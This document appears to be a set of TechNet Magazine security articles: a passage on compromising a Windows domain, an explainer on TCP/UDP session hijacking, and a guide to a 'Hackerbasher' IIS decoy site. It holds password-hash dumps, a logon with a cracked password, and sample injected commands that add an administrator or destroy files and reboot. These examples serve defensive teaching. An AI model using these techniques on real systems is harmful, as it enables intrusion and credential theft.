   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
   DNS Servers . . . . . . . . . . . : 172.17.0.2

Ethernet adapter DMZNet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel 21140-Based PCI Fast Ethernet Adapter (Generic)
   Physical Address. . . . . . . . . : 00-03-FF-07-3E-F0
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 172.17.0.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.17.0.1
   DNS Servers . . . . . . . . . . . : 172.17.0.2
This system is not only dual-homed, but it is dual-homed on the corporate network and the DMZ, which means it must be acting as the router between the two. Before I take advantage of that fact, I can dump out all the user accounts on the domain controller. Recall that earlier I learned that there were about 15 user accounts on the DC? Well, cycles are wasting, so I'd better dump out the password hashes and get to work cracking them. Since I have administrative privileges, doing so is a simple matter of running the very popular PWDump tool (see Figure 12).
Figure 12 Pwdump2 Output (Close Figure 12)
C:\warez>pwdump2.exe
Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0cfceaf6d077970306a2fd88a7c0a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666e4bb3cc96d670cadca1593b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:cd072175763b0d5b3fbb152f57b96e7c:::
FAjenstat:1106:daf058ae79085db217306d272a9441bb:c43325fdf77cafacf02f6e3eaa7f5020:::
AAlberts:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92ab284046ddcc6952755f449e2:::
HAcevedo:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477810308a0b676f3cda91f10539:::
MAlexander:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b571425751747e7ae379fefe9fcc:::
KAkers:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32ccd2b92b43639b0e7d29e09d:::
TAdams:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97ee181d42be654133658723813:::
KAbercrombie:1112:6c32f38de08f49f026f8092a33daaf05:a88b78471261477e26d9e4c11571b127:::
Sculp:1113:49901659efc5e1d6aad3b435b51404ee:d986300c7c0c33d3cc5417dbac6f90db:::
SAbbas:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e6be7a5cb001e7ad542c292f26:::
•••
By default, Windows stores two different password representations: the LM "hash" (which is not a hash at all) and the Windows NT® hash. From this output, I can tell that this system stores the LM hashes. This is good news for a criminal hacker since LM hashes are so much easier to crack. Feeding this output into my favorite password cracker, I can crack most of the passwords on this system within 24 hours. In fact, in less than a minute, I've cracked three of them using a hybrid attack. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time.
Now that I have the passwords, I need to find out more about where to use them. First, I know which systems are available on the 172.17.0/24 network, so let's see what I can find on the 10.1.2/24 net:
C:\warez>discoverHosts 10.1.2
Reply from 10.1.2.16: bytes=32 time<1ms TTL=128
Reply from 10.1.2.17: bytes=32 time=54ms TTL=128
16 is the datacenter DC as we've already learned, but 17 is a new host that we have not seen before. Let's see if I can get some more information on it:
C:\warez>GetSystemInfo 10.1.2.17
Server info on 10.1.2.17
Name:   PYN-CORPDC
Domain: PYN
Version:        5.2
Platform ID:    500
Comment:
Server Flags:
Workstation
Server
Domain Controller
Time source
17 is the domain controller I was looking for originally. I can tell that it is running Windows Server 2003, but not much else about it. Perhaps dumping out the users will give me additional information, like that shown in Figure 13.
Figure 13 Corp DC Dumpinfo (Close Figure 13)
C:\warez>dumpinfo 10.1.2.17

The Administrator is:   PYN\Administrator

Users on PYN-CORPDC:
RID 1000   PYN\HelpServicesGroup   an Alias
RID 1001   PYN\SUPPORT_388945a0    a User
RID 1002   PYN\TelnetClients       an Alias
RID 1003   PYN\PYN-CORPDC$         a User
RID 1104   PYN\FAjenstat           a User
RID 1105   PYN\AAlberts            a User
RID 1106   PYN\HAcevedo            a User
RID 1107   PYN\MAlexander          a User
RID 1108   PYN\KAkers              a User
RID 1109   PYN\TAdams              a User
RID 1110   PYN\KAbercrombie        a User
RID 1111   PYN\Sculp               a User
RID 1112   PYN\SAbbas              a User
RID 1113   PYN\MAllen              a User
RID 1114   PYN\JAdams              a User
RID 1115   PYN\SAlexander          a User
RID 1116   PYN\HAbolrous           a User
RID 1117   PYN\PAckerman           a User
RID 1118   PYN\GAlderson           a User
•••

Share      Type            Comment
IPC$       Unknown         Remote IPC
NETLOGON   Disk            Logon server share
ADMIN$     Special         Remote Admin
SYSVOL     Disk            Logon server share
C$         Special         Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied
As you can see, this system has a lot of users. Listed are several old friends who also had accounts on the DMZ DC. In fact, there are several whose passwords I have already cracked on the DMZ. At this juncture, I could either try to gather more information, or I could just be bold and try those accounts. Three guesses which of those options a hacker would use:
C:\warez>net use \\pyn-corpdc\c$ /u:pyn\GAlderson "yosemiTe^"
The command completed successfully.
This network has now been thoroughly hacked. I could go on and do whatever I came for, but from here on, it is mostly up to what the attacker wants to do. Potential options would be to scavenge the network for data, steal confidential information, add himself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker has complete and unrestricted access to the entire contoso.com network.

Conclusion
In this article, I've examined how a Windows-based network might be hacked. I hasten to point out that Windows-based networks are no less secure than any other network. While the specific attacks used in this article are unique to Windows, minor modifications to the techniques and a new tool set would make the same compromise possible on a network running a different platform. The problem is not the platform itself, but the practices. All platforms are securable, but all networks are exploitable if they are not architected and implemented carefully. Poor implementation is always poor implementation, regardless of the underlying platform.
How to Get a Hacker Out of Your Network
Once a network has been thoroughly hacked, the system administrator has three options: update their resume, hope the hacker does a good job running the network, or drain the network. You will of course need to take action to deal with the attack. Let's first take a look at some of the available options and assumptions and consider why they might not be the best course of action when cleaning a hacked system.
You cannot clean a compromised system by patching it; patching only removes the vulnerability. Once an attacker gets into your system, you should assume that he or she has ensured there are several other ways to get back in.
You cannot clean a compromised system by removing the backdoors. You can never guarantee that you found all the backdoors the attacker put in. The fact that you cannot find any more may only mean you do not know where to look, or that the system is so compromised that what you are seeing is not actually what is there.
You cannot clean a compromised system by using some "vulnerability remover." Let's say your system was hit by Blaster. A number of vendors (including Microsoft) published vulnerability removers for Blaster. Can you trust a system that had Blaster after the tool is run? I wouldn't. If the system was vulnerable to Blaster, it was also vulnerable to a number of other attacks. Can you guarantee that none of those have been run against it? I didn't think so.
You cannot clean a compromised system by using a virus scanner. A fully compromised system cannot be trusted to tell you the truth. Even virus scanners must at some level rely on the system to not lie to them. If they ask whether a particular file is present, the attacker may simply have a tool in place that lies about it. If you can guarantee that the only thing that compromised the system was a particular virus or worm and you know that this virus has no backdoors associated with it, and the vulnerability used by the virus was not available remotely, then a virus scanner can be used to clean the system. For example, the vast majority of e-mail worms rely on a user opening an attachment. In this particular case, it is possible that the only infection on the system is the one that came from the attachment containing the worm. However, if the vulnerability exploited by the worm was accessible remotely without user action and you cannot guarantee that the worm was the only thing that exploited that vulnerability, it is entirely possible that something else used the same vulnerability. In this case, you cannot just patch the system.
You cannot clean a compromised system by reinstalling the operating system over the existing installation. Again, the attacker may very well have tools in place that can lie to the installer. If that happens, the installer may not actually remove the compromised files. In addition, the attacker may also have put backdoors in non-operating-system components.
You cannot trust any data copied from a compromised system. Once an attacker gets into a system, all the data on it may be modified. Copying data from a compromised system and putting it on a clean system will in the best case scenario give you potentially untrustworthy data. In the worst case, you may actually have copied a backdoor hidden in the data.
You cannot trust the event logs on a compromised system. Once an attacker gets full access to a system, it is simple to modify the event logs on that system to cover his tracks. If you rely on the event logs to tell you what the attacker has done to your system, you may just be reading what they want you to read.
You may not be able to trust your latest backup. How can you tell when the original attack took place? The event logs cannot be trusted to tell you. Without that knowledge, your latest backup is completely useless. It may be a backup that includes all the backdoors currently on the system. For that matter, how can you trust any backup?
The only proper way to clean a compromised system is to flatten and rebuild it. If you have a system that has been completely compromised, the only safe thing you can do is to flatten the system (wipe it clean) and rebuild it from scratch.
If you consider the alternative, it seems highly worthwhile to prevent the system from getting hacked in the first place, doesn't it? For more information on what to do after you've been hacked, see "The Day After: Your First Response To A Security Breach" by Kelly J. Cooper in this issue of TechNet Magazine.

Jesper Johansson is a Security Program Manager with Microsoft, focusing on how customers should best deploy Microsoft products more securely. He has a Ph.D. in MIS and has delivered speeches on security at conferences all over the world.
This chapter is from a forthcoming book by Jesper Johansson and Steve Riley entitled Protecting Your Windows Network. It will be available from Addison Wesley, Inc. in 2005.
© 2007 Microsoft Corporation and CMP Media, LLC. All rights reserved; reproduction in part or in whole without permission is prohibited.


 Theft On The Web: Theft On The Web: Prevent Session Hijacking
Hacking: Fight Back Kevin Lam, David LeBlanc, and Ben Smith

Theft On The Web: Prevent Session Hijacking
At a Glance:
  • TCP hijacking mechanics
  • ACK packet storms
  • UDP attacks
  • Network attack prevention
TCP/IP
Network Security

When computers need to talk to each other, they simply do so. But, how do you know that your computer is really talking to the computer it thinks it's talking to?
How do you know that an attacker has not taken over the session between the computers and is passively monitoring the conversation, or even changing it? You would certainly know it—belatedly—if the order for 1,000 widgets that you sent to a business partner was received as an order for 100,000 widgets. This can happen, courtesy of a well-timed strike by an intruder.
Right now, you might be asking:
  • "How does this work?"
  • "Is my network susceptible to this?"
  • "What can I do to prevent this from happening?"
Session hijacking works by taking advantage of the fact that most communications are protected (by providing credentials) at session setup, but not thereafter. These attacks generally fall into three categories: Man-in-the-middle (MITM), Blind Hijack, and Session Theft.
In MITM attacks, an attacker intercepts all communications between two hosts. With communications between a client and server now flowing through the attacker, he or she is free to modify their content. Protocols that rely on the exchange of public keys to protect communications are often the target of these types of attacks.
In blind hijacking, an attacker injects data such as malicious commands into intercepted communications between two hosts commands like "net.exe localgroup administrators /add EvilAttacker". This is called blind hijacking because the attacker can only inject data into the communications stream; he or she cannot see the response to that data (such as "The command completed successfully.") Essentially, the blind hijack attacker is shooting data in the dark, but as you will see shortly, this method of hijacking is still very effective.
In a session theft attack, the attacker neither intercepts nor injects data into existing communications between two hosts. Instead, the attacker creates new sessions or uses old ones. This type of session hijacking is most common at the application level, especially Web applications.
Session hijacking at the network level is especially attractive to attackers. They do not need host access, as they do with host-level session hijacking. Nor do they need to customize attacks on a per-application basis, as they do at the application level. Network-level session hijacking attacks allow attackers to remotely take over sessions, usually undetected. But successfully hijacking a session at the network level requires an attacker to overcome various obstacles, as you will see in the next few sections.

Hijacking a TCP Session
One of the key features of TCP is reliability and ordered delivery of packets. To accomplish this, TCP uses acknowledgment (ACK) packets and sequence numbers. Manipulating these is the basis for TCP session hijacking. As we mentioned earlier, the MITM attacker simply needs to be positioned so that communications between the client and the server are relayed through him or her. To understand how an attacker might sneak into the TCP session in a blind session hijack attack, you need to look at what happens when a client initiates a TCP session with the server.
As shown in Figure 1, the client first initiates a session with the server by sending a synchronization (SYN) packet to the server with initial sequence number x. The server responds with a SYN/ACK packet that contains the server's own sequence number p and an ACK number for the client's original SYN packet. This ACK number indicates the next sequence number the server expects from the client. In our example, this is x+1, because the client's original SYN packet counted as a single byte. The client acknowledges receipt of the SYN/ACK packet by sending back to the server an ACK packet with the next sequence number it expects from the server, which in this case is p+1 (the server's initial SYN packet sequence number plus one). The client and server are ready to start exchanging data.
The sequence number values just described are important for understanding how to successfully hijack this session later, so pay close attention to them in the paragraphs that follow. The same goes for ACK numbers, which are key to understanding TCP ACK storms.
Figure 1 TCP Three-Way Handshake
Figure 1 TCP Three-Way Handshake
For now, observe what happens to these sequence numbers when the client starts sending data to the server (see Figure 2). In order to keep the example simple, the client sends the character A in a single packet to the server.
Figure 2 Sending Data over TCP
Figure 2 Sending Data over TCP
The client sends the server the single character in a data packet with the sequence number x+1. The server acknowledges this packet by sending back to the client an ACK packet with number x+2 (x+1, plus 1 byte for the A character) as the next sequence number expected by the server. Enter the attacker. If the attacker wanted to inject data into the TCP session as the client, he or she would need to:
  • Spoof the client's IP address
  • Determine the correct sequence number that is expected by the server from the client
  • Inject data into the session before the client sends its next packet
The first and second tasks are easily accomplished, but the third is a bit trickier. Tricky, but not impossible. Essentially, the attacker needs a way to prevent the client from sending into the session new data that would shift sequence numbers forward. To do this, the attacker could just send the data to inject and hope it is received before the real client can send new data, as shown in Figure 3. Or, he or she could perform a denial of service (DoS) attack on the client, or perhaps some tricks that use address resolution protocol (ARP) spoofing.
Figure 3 Blind Injection
Figure 3 Blind Injection
Here is how this might play out. The attacker sends a single Z character to the server with sequence number x+2. The server accepts it and sends the real client an ACK packet with acknowledgment number x+3 to confirm that it has received the Z character. When the client receives the ACK packet, it will be confused, either because it did not send any data or because the next expected sequence is incorrect. (Maybe the attacker sent something "nice" like "mv `which emacs` /vmunix && shutdown –r now" and not just a single character.) As you will see later, this confusion can cause a TCP ACK storm, which can disrupt a network. In any case, the attacker has now successfully hijacked this session.
Attackers can automate the session hijacking process just described with tools such as Juggernaut, by Mike Schiffman, and Hunt, by Pavel Krauz.

Hijacking a UDP Session
Hijacking a session over a User Datagram Protocol (UDP) is exactly the same as over TCP, except that UDP attackers do not have to worry about the overhead of managing sequence numbers and other TCP mechanisms. Since UDP is connectionless, injecting data into a session without being detected is extremely easy. Figure 4 shows how an attacker could do this.
Figure 4 Session Hijacking over UDP
Figure 4 Session Hijacking over UDP
DNS queries, online games like the Quake series and Half-Life, and peer-to-peer sessions are common protocols that work over UDP; all are popular targets for this kind of session hijacking.

Determining Susceptibility
One obvious way to determine the susceptibility of your organization's networks to network-level session hijacking attacks is to try to hijack actual network sessions using common attacker tools such as Juggernaut or Hunt. Using live attacker tools against your organization's production networks, however, is not recommended. A safer approach would be simply to find out if your organization uses transport protocols that do not use cryptographic protection (such as encryption) for transport security or digital signatures for authentication verification. Common examples of these protocols include Telnet, FTP, and DNS. If such network protocols exist in your organization's networks, sessions traveling over those unencrypted protocols are ripe for hijacking.
What countermeasures can you take to reduce your susceptibility to network-level session hijacking attacks? One technique is to implement encrypted transport protocols such as Secure Shell (SSH), Secure Socket Layers (SSL), and Internet Protocol Security (IPSec). An attacker attempting to hijack a session by tunneling in an encrypted transport protocol must, at a minimum, know the session key used to protect that tunnel, which should be difficult to guess or steal. Any data the attacker can inject into network sessions without using the correct session key will be undecipherable by the recipient and rejected accordingly. Even in the unlikely event that an attacker is able to attain the prized session key, digitally signing network traffic provides an extra layer of defense against the successful injection of malicious data into network sessions.
As a rule, do not communicate with highly critical systems unless you do so over protocols that use a strong encryption algorithm for secure transport. By themselves, protocols such as Telnet and FTP are poor choices, extremely susceptible to hijacking when not protected inside encrypted tunnels.

Tricks and Techniques
Successfully hijacking a network session depends on a few conditions falling into place, so an attacker has several tricks and techniques for creating these conditions. For instance, to conduct a true MITM attack, the attacker must get hosts to route traffic through him or her. To make this happen, he or she can use tricks with Internet Control Message Protocol (ICMP) Redirect packets or ARP spoofing.
As you read through the attack strategies discussed here, keep in mind that many can be easily defeated by the countermeasures for network-level session hijacking. TCP ACK storms, for example, are not possible when the attacker cannot inject data into a session. Routing table modifications also quickly become a wasted effort for an attacker if they cannot interpret or modify data that gets routed through them. It is still useful and interesting, however, to know what your enemy has in his or her bag of tricks. Some common items include TCP ACK packet storms, ARP table modifications, TCP resynchronizations, and remote modifications of routing tables.

TCP ACK Packet Storms
If an attacker is not careful when hijacking TCP sessions in your organization's networks, those networks can be disrupted by TCP ACK packet storms.
To understand this threat, look at what happens when an attacker hijacks a TCP session from the TCP protocol's point of view. Assume that the attacker has forged the correct packet information (headers, sequence numbers, and so on) at some point during the session. When the attacker sends to the server-injected session data, the server will acknowledge the receipt of the data by sending to the real client an ACK packet. This packet will most likely contain a sequence number that the client is not expecting, so when the client receives this packet, it will try to resynchronize the TCP session with the server by sending it an ACK packet with the sequence number that it is expecting. This ACK packet will in turn contain a sequence number that the server is not expecting, and so the server will resend its last ACK packet. This cycle goes on and on and on, and this rapid passing back and forth of ACK packets creates an ACK storm, as shown in Figure 5.
Figure 5 ACK Storm
Figure 5 ACK Storm
As the attacker injects more and more data, the size of the ACK storm increases and can quickly degrade network performance. If neither the attacker nor the client explicitly closes the session, the storm will likely stop itself eventually when ACK packets are lost in the storm.

ARP Table Modifications
The address resolution protocol is used by each host on an IP network to map local IP addresses to hardware addresses or MAC addresses. Here is a quick look at how this protocol works.
Say that Host A (IP address 192.168.1. 100) wants to send data to Host B (IP address 192.168.1.250). No prior communications have occurred between Hosts A and B, so the ARP table entries for Host B on Host A are empty. As shown in Figure 6, Host A broadcasts an ARP request packet indicating that the owner of the IP address 192.168.1.250 should respond to Host A at 192.168.1.100 with its MAC address. The broadcast packet is sent to every machine in the network segment, and only the true owner of the IP address 192.168.1.250 should respond. (As you will see shortly, this is not always the case.) All other hosts discard this request packet, but Host A receives an ARP reply packet from Host B indicating that its MAC address is BB:BB:BB:BB:BB:BB. Host A updates its ARP table, and can now send data to Host B.
Figure 6 Finding the Owner of a MAC Address
Figure 6 Finding the Owner of a MAC Address
Can you see the security problem here? Does Host A know that Host B really did send the ARP reply? The answer is no, and attackers take advantage of this. In our example, attackers could spoof an ARP reply to Host A before Host B responded, indicating that the hardware address E0:E0:E0:E0:E0:E0 corresponds to Host B's IP address, as shown in Figure 7. Host A would then send any traffic intended for Host B to the attacker, and the attacker could choose to forward that data (probably after some tampering) to Host B.
Figure 7 Spoofed Reply
Figure 7 Spoofed Reply
Attackers can also use ARP packet manipulation to quiet TCP ACK storms, which are noisy and easily detected by devices such as intrusion detection system (IDS) sensors (see Figure 8). Session hijacking tools such as Hunt accomplish this by sending unsolicited ARP replies. Most systems will accept these packets and update their ARP tables with whatever information is provided. In our Host A/Host B example, an attacker could send Host A a spoofed ARP reply indicating that Host B's MAC address is something nonexistent (like C0:C0:C0: C0:C0:C0), and send Host B another spoofed ARP reply indicating that Host A's MAC address is also something nonexistent (such as D0:D0:D0:D0:D0:D0). Any ACK packets between Host A and Host B that could cause a TCP ACK storm during a network-level session hijacking attack are sent to invalid MAC addresses and lost.
Figure 8 Stopping a TCP ACK Storm
Figure 8 Stopping a TCP ACK Storm

TCP Resynchronizing
To hide his or her tracks, an attacker who is finished with the session hijacking attack might want to resynchronize the communicating hosts. The problem is that after the attack, the two hosts whose session was hijacked will be at different points in the session. In other words, each host will be expecting different sequence numbers.
For example, the server might think that it is 40 bytes into the session when really the client might have sent only 29 bytes. Thus, the expected sequence numbers on each side will differ. Since sequence numbers move in only a positive direction, it's not possible with TCP stacks to manipulate the server so that its expected sequence number moves downward to match the client's sequence number.
In this situation, the attacker needs some way to move the client's sequence numbers to match the servers. Tools like Hunt try to solve this problem by sending a message to the client. Here is an example (note that the number 13 is used arbitrarily):
msg from root: power failure – try to type 13 chars
Hunt will replace this value with whatever number of bytes the client is required to send to be resynchronized with the server. The hope is that the user will comply. When the user has typed enough characters, Hunt will use more forged ARP reply packets to restore the correct values to the ARP table entries it modified on the client and server to avoid TCP ACK storms.
This technique of resynchronizing client and server TCP stacks is dependent on the user following instructions sent by the Hunt tool, and will probably not work against well-educated users or any protocol other than Telnet or possibly FTP.

Remotely Modifying Routing Tables
As discussed earlier, an attacker who wants to hijack a session at the network level wants to route all communications between a client and server through him or her, making it easy to monitor, modify, and inject data into the session, as in MITM attacks. This boils down to the attacker tricking one of the hosts, usually the client, into routing all its session traffic through the attacker. When an attacker is local to the host whose traffic is being intercepted, one popular way to modify the routing table of the host is to forge ICMP Redirect (type 5) packets and advertise them as the route to take when sending data.
To protect Windows® hosts from forged ICMP redirect attacks, set the EnableICMPRedirect value to 0 under the registry key HKLM\System\CurrentControlSet\Services\AFD\Parameters.

Conclusion
Protecting network sessions that carry sensitive and important data such as credit card numbers, bank transactions, and administrative server commands is an important first step at improving the security posture of your organization. By removing an attacker's ability to inject data into those sessions, you raise the security bar and force your adversary to try other, more complex avenues that are less likely to compromise your organization's security.

Kevin Lam, David LeBlanc, and Ben Smith all work on security at Microsoft. Ben is the coauthor of Microsoft Windows Security Resource Kit and David is the coauthor of Writing Secure Code 2 (both from Microsoft Press).
This article is adapted from Chapter 21 of Assessing Network Security (Microsoft Press, 2004).


 : Beat Hackers At Their Own Game With A Hackerbasher Site
Hacking: Fight Back Marnie Hutcheson

Beat Hackers At Their Own Game With A Hackerbasher Site
At a Glance:
  • Prevent automated attacks from reaching legitimate Web domains
  • Automatically divert attacks into a dead end
  • Get a single log that shows all attack traffic
IIS
NTLM
HTTP

On any given morning, a look through my production Web server's logs will show that my server farm is under a barrage of attacks. Hackers and crackers with automated IP port scanners can swamp a Web site with bogus requests and failed logons.
The sheer volume of this traffic can reduce response times and overload service request logs. Failed logon attempts (sometimes several hundred in a minute) can obliterate legitimate security reporting in the event viewer. Even if the hacker never gains access to anything, your Web site suffers. I use several procedures to minimize the attack surface. But even after hardening the server and putting it behind a firewall, it is still vulnerable to attacks on port 80.
Setting Up Your Hackerbasher
1 Open the Microsoft Management Console (MMC) with the IIS snap-in.
2 Assign one host header (or several) to each Web site there so that no virtual server is mapped to an IP address on port 80 without a host header name. Unless you have a good reason not to do so, make sure that no Web server is using "All Unassigned" IP addresses (see Figure 3).
3 Create a Web site that points to an empty directory (preferably not on the C: drive). You can use the standard defaults in the site creation wizard and call the site whatever you want. Remember, it doesn't need a registered domain name since it won't be listed in any DNS servers. Also, don't install any server extensions like FrontPage® or SharePoint®.
4 Once you have created the site, right-click on it and select Properties. Click the Directory Security tab and select Integrated Windows Authentication, then click OK. Be sure to uncheck Anonymous Access and Basic Authentication as shown in Figure A.
Figure A Hackerbasher Security Settings
Figure A Hackerbasher Security Settings
5 On the Web Site tab, click the Advanced button. Use the Add button on the Advanced Multiple Web Site Configuration window to select each IP address that you want to assign to Hackerbasher. For me, this is all the IP addresses that are visible to the public.
6 Apply your changes and recheck your list to make sure that all your IP addresses are on it. If an IP address is already assigned to some other Web site, the MMC will give you an error message telling you there is a conflict. All you need to do is go back through the other Web site Identities and find the one(s) using an IP address on port 80 without a host header.
7 On the Web Site tab, make sure that Enable Logging is checked; I use the W3C Extended Log File Format. Next, click the Properties button next to Active log Format and the Extended Logging Properties window will open.
8 On the General Properties tab, select the log time period you prefer (I use Daily). Select the Extended Properties tab and then select the extended properties that you want to have appear in your log file. I check all of the extended properties, except Process Accounting.

In this article, I will present an easily implemented strategy that uses HTTP 1.1 host headers to divert port 80 attacks away from unsecured public Web sites into a dead end where they can't do damage. My site, called Hackerbasher, stops the automated attack and records the details about the attack along with the IP address used by the attacker. Hackerbasher doesn't require any special software and its only cost is the time it takes to set it up on your server. You also get the added benefit of being able to monitor port 80 attacks in a single log file. See the sidebar "Setting Up Your Hackerbasher" for more information.
As you can see in Figure 1, the Hackerbasher log contains evidence of a typical automated attack. Several sites on the server are being attacked several times per second by the hacker at xx.xxx.71.170. The hacker is trying to find cmd.exe along several different paths by requesting that it execute with the command line /c+dir+c:\. Such an attack typically lasts only a few seconds. If the command fails, the hacker automation increments the IP address and sends the request to the next unlucky server. If the command succeeds on any of the IP addresses in the server, the hacker will be at the "C:\" prompt, ready to damage or destroy the server, steal valuable information, or whatever he or she wants. My firewall doesn't keep out this kind of attack.
Many of these attackers appear to be crackers—thrillseekers who simply want to break into something. Crackers usually sniff around for the obvious stuff such as unsecured databases and leftover developer sample files. Obviously, some attackers are on a mission to get in and do damage.
So how do we track down these people? One way is to use a honeypot: an information system resource intended to receive unauthorized or illicit use. The Honeynet Project was set up so that the good guys can watch and analyze what hackers do. The Honeynet Project reports that the average life expectancy of a honeypot on the Internet is 72 hours. The shortest known manual compromise time was 15 minutes, but a worm got the job done in 15 seconds.
My solution is like a honeypot in that Hackerbasher has no production value. It is set squarely in the path of automated IP:80 attacks and, through its logs, it lets me study what the hackers are trying to do.
Figure 1 A Hackerbasher Log
Figure 1 A Hackerbasher Log
Hackerbasher consists of one locked empty directory containing absolutely nothing—no home page, no virtual connections, no apps, and no server extensions.

How It Works
I got the idea for Hackerbasher one morning back in 2002 while I was wading through endless IIS logs tracking a worm. I noticed that the hackers weren't attacking the sites by their domain names but by their IP addresses. I was sure there was an automated tool out there systematically trolling through my IP pool looking for something listening on port 80. So, I thought, why not route all the IP:80 requests to a dead end in cyberspace? I then used host headers to do exactly that and called it Hackerbasher.
Legitimate users don't normally go to a Web site by typing an IP address, but automated tools do. Humans use the domain name. The log files from Hackerbasher for the past two years prove this. The only nonhacker traffic to Hackerbasher has been the occasional request for an invalid URL or an unresponsive domain. I'll explain why Hackerbasher gets these requests later.
On all my servers that are running Microsoft® Windows®, Hackerbasher is secured with Windows NT® Challenge/Response authentication, or NTLM. It's not Kerberos, but it works on older servers, including those that are not running Active Directory®, so it's the lowest common denominator. Every request to this site is presented with the Windows Integrated Authentication challenge. The automated attack fails to authenticate and the server returns a 401 error, effectively ending the attack (see the sc-status column in Figures 1 and 2). The Hackerbasher logs show that attacks launched against IP:80 don't expect to have to try passwords, so the automated attack software increments the IP address and tries again, as you can see in Figure 2. The hacker at IP address xx.xxx.119.16 attacks yy.yyy.yyy.21, 22, 23, up to 29 from 6:31:36 until 6:31:47. That's 17 attacks in 9 seconds! When the IP address increments beyond the IP addresses in my server, someone else will be under attack.
Figure 2 Hackerbasher IIS Log from Failed Attacks
Figure 2 Hackerbasher IIS Log from Failed Attacks
Even if someone were to provide valid logon credentials to the Hackerbasher site—even if they are a sysadmin for the domain—they will get an "HTTP Error 403—Forbidden" message after they pass the Challenge/Response authentication because there is no home page.
I mapped all the root IP:80 addresses to Hackerbasher and set up host headers for all my other domains. The hackers can "bash" against the site as long as they like, but all they get from my server is a 401 (Unauthorized, Access Denied) failure message, shown in the sc-status column in Figure 1. Meanwhile, my customers' sites purr along without this traffic threatening their sites and filling their logs.
Putting this security procedure in place cost nothing except the time it took to make sure all my sites had their host headers in order. For years I have used host headers to get the most out of my limited pool of IP addresses so setting this up wasn't much work. All I had to do was collect the root IPs, assign them to Hackerbasher, and make sure my customers' host headers were in order.
Figure 3 Host Header Definitions and IP Mapping in the MMC
Figure 3 Host Header Definitions and IP Mapping in the MMC
Most of my sites have at least two host headers defined, one with the "www" and one without, for example www.testersparadise.com and testersparadise.com. Some Web sites have multiple domain names pointing to them and multiple extensions; .com, .org, and so on. Notice in Figure 3 that there is no identity defined that has an IP address without a host header name.

A Single Log File
The log excerpt you saw in Figure 1 shows only one type of attack, but one that is being used against many IP:80 addresses on this server. (Reading your logs is always important, as you'll read in the sidebar "Hardening Your Web Server.") You don't usually get a single log file that shows how the hacker attack is moving through the IP addresses on a server. Normally the record of the attacks would be spread across multiple IIS site logs; an administrator would have to look through each one to piece together this information. This approach separates the legitimate users who failed to log onto a host header domain (recorded in the log from that domain) from the crackers and hackers. It also adds a layer of security to my hosted sites by diverting the bogus traffic to a site that can give them what they deserve: an authentication prompt that will never let them in.
In the course of a normal day, there will be several different types of attacks going on all at the same time. Before I put the Hackerbasher solution in place and collected all this information into one log, it was impossible to gauge the size and the seriousness of this type of attack, since the details were buried in several IIS site logs.
Figure 4 shows a series of failed logon attempts in the Windows Event Viewer. These failures are mostly hackers attempting to get into e-commerce, intranet, disaster recovery, and similar secured sites. They are usually my first clue that a serious assault may be underway against some secured resource, like a database or an e-store.
Figure 4 Failed Logons from an Automated Attack
Figure 4 Failed Logons from an Automated Attack
If you only have one secured Web site running in a server when you see a series of security failures like this, you can check the IIS log and determine if it is under attack and what the attackers are trying to do. You can also determine if the attack is being directed at some other resource, such as an FTP server or an SMTP server. If you are running a hosting service with lots of secured sites, however, the evidence can be spread across too many site logs to track down.
It really frustrated me that I couldn't get an accurate idea of how many attacks were going on and what type they were without spending days going through hundreds of logs. For example, I could see the logon failures in my event log, but I couldn't close the loop between a particular logon failure in the event log and a specific failed server request among all the secured virtual servers running on the computer. Figure 2 shows the Hackerbasher IIS log for this same time period. Notice that every request was sc-status 401 (Access Denied). I still can't do a precise correlation with IIS 5.0, but at least with Hackerbasher in place, I can see what's going on across all the IP addresses in the box. If my event logs don't match my Hackerbasher log, it's time to start looking for attacks on legitimate secured sites.
Hardening Your Web Server
There are a number of procedures I typically follow in preparing one of my Web servers to go live on the Internet:
  • Always keep security patches up to date. Applications to check include the server OS, IIS, SQL Server™, FrontPage, Office, and SharePoint Team Services. I also notify my customers when I get new security bulletins.
  • Run the Microsoft Baseline Analyzer tool on the server until all patches are complete and other exposures are minimized; then run the IIS Lockdown Tool and URLscan wherever possible.
  • Enforce the use of role-based security and strong passwords on everything and everyone who can change anything on the server.
  • All content sites are housed on a different hard drive than the OS and other key resources. Different customer's sites are housed in separate unrelated directory structures. Disaster and recovery procedures should be in place and in practice for every server.
  • All sample sites and unused sites (like the IIS admin and the default site) are removed or incapacitated. All unused applications and services are removed or disabled.
  • The server is behind a firewall with all ports closed except the ones I use.
  • Use host anonymization software like ServerMask from Port80Software. This hides the server's identity, vendor, and version in the host header from malicious hackers.
  • Proactively test customers' applications to make sure that there are no obvious security holes. In addition to testing their applications from the browser, I have just discovered a new product for testing Web application vulnerabilities. GreenBlue Inspector lets me view request and response headers, cookies, and forms input. It also lets me test for buffer overrun vulnerabilities and SQL injection vulnerabilities, two of the most common security failures in Web applications. (See the Resources box at the end of this article and the Toolbox column in this issue.)
  • Always keep a watchful eye on your server's logs.

Hackerbasher has proven to be a goldmine in several ways. In Figures 1 and 2, each attack is failing, as you can see in the sc-status column. All these IP addresses are secured by Integrated Windows authentication. The hacker tool simply quits attacking a particular IP address when it receives a 401 from the server. No matter what other defenses are in place, the hack is failing because it cannot pass a logon request.

Early Detection
